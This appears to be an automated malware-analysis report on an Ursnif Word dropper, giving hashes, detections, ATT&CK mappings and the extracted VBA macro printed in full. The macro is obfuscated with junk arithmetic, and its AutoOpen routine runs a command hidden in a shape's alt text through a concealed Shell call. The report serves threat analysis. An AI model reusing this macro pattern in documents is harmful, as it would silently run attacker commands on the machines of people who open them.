Ursnif Office (OLE) malware analysis — malicious · 8ab6cc9e1d44609a

MALICIOUS

Office (OLE)

68.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2020-02-04

MD5: 4c7a423e723327fc5d437c76caab74e6 SHA-1: ac297c68585ebe3b22972ca82f18d8611f4e3fd3 SHA-256: 8ab6cc9e1d44609ad089a40eab8b1c7d51d89bfd05f21b08c6d36c1d1d536694

182 Risk Score

Malware Insights

Ursnif · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Dropper.Ursnif-6864686-0, indicating the Ursnif family. High-severity heuristics confirm the presence of an AutoOpen VBA macro that uses Shell execution. The AutoOpen macro in the 'macros.bas' script attempts to execute a command stored in the AlternativeText property of a shape, which is a common technique for Ursnif to download and execute further stages.

Heuristics 6

ClamAV: Doc.Dropper.Ursnif-6864686-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Ursnif-6864686-0
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1548 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1548 bytes
SHA-256: `3e1a0c0a380bc160279298c13b753e5625abf26b8100711ddc69d534212a56e9`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "sbyruqo" Function csefagim() Dim mdoxa As Integer Dim mfevotujam As Long mdoxa = 4827# - 3309# Dim qqajokab As Variant qqajokab = mdoxa - 2340# Dim mficu As Integer Dim vhycym As Long mficu = 4244# - 6641# Dim zrmpQdJ As Variant zrmpQdJ = mficu - 4979# Dim GPRwCoz As Integer Dim guzrOrzO As Long GPRwCoz = 4759# - 9738# Dim ttodypave As Variant ttodypave = GPRwCoz - 6727# Set csefagim = ActiveDocument.Shapes(2) End Function Sub AutoOpen() Dim NPyIXgxB As Integer Dim yTebtpLR As Long NPyIXgxB = 4152# - 5980# Dim ZcMKOUUg As Variant ZcMKOUUg = NPyIXgxB - 3194# Dim mpywavivon As Integer Dim EaucuJeC As Long mpywavivon = 7506# - 4127# Dim mogmo As Variant mogmo = mpywavivon - 3910# Dim gmykodav As Integer Dim rmize As Long gmykodav = 9037# - 5140# Dim csozyxepew As Variant csozyxepew = gmykodav - 9566# Set ldahe = csefagim SzyrUZU = csefagim.AlternativeText Dim dlun As Integer Dim qxecefo As Long dlun = 2594# - 6038# Dim wpuzaqyh As Variant wpuzaqyh = dlun - 2067# Dim PhTwbH As Integer Dim UoGhr As Long PhTwbH = 8899# - 9880# Dim TsMvcd As Variant TsMvcd = PhTwbH - 4188# Interaction.Shell@ _ SzyrUZU, vbHide End Sub

SHA-256: 3e1a0c0a380bc160279298c13b753e5625abf26b8100711ddc69d534212a56e9

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "sbyruqo"
Function csefagim()

Dim mdoxa As Integer
Dim mfevotujam As Long
mdoxa = 4827# - 3309#
Dim qqajokab As Variant
qqajokab = mdoxa - 2340#

Dim mficu As Integer
Dim vhycym As Long
mficu = 4244# - 6641#
Dim zrmpQdJ As Variant
zrmpQdJ = mficu - 4979#

Dim GPRwCoz As Integer
Dim guzrOrzO As Long
GPRwCoz = 4759# - 9738#
Dim ttodypave As Variant
ttodypave = GPRwCoz - 6727#





Set csefagim = ActiveDocument.Shapes(2)





End Function
Sub AutoOpen()

Dim NPyIXgxB As Integer
Dim yTebtpLR As Long
NPyIXgxB = 4152# - 5980#
Dim ZcMKOUUg As Variant
ZcMKOUUg = NPyIXgxB - 3194#

Dim mpywavivon As Integer
Dim EaucuJeC As Long
mpywavivon = 7506# - 4127#
Dim mogmo As Variant
mogmo = mpywavivon - 3910#

Dim gmykodav As Integer
Dim rmize As Long
gmykodav = 9037# - 5140#
Dim csozyxepew As Variant
csozyxepew = gmykodav - 9566#

Set ldahe = csefagim

SzyrUZU = csefagim.AlternativeText

Dim dlun As Integer
Dim qxecefo As Long
dlun = 2594# - 6038#
Dim wpuzaqyh As Variant
wpuzaqyh = dlun - 2067#

Dim PhTwbH As Integer
Dim UoGhr As Long
PhTwbH = 8899# - 9880#
Dim TsMvcd As Variant
TsMvcd = PhTwbH - 4188#

Interaction.Shell@ _
SzyrUZU, vbHide









End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.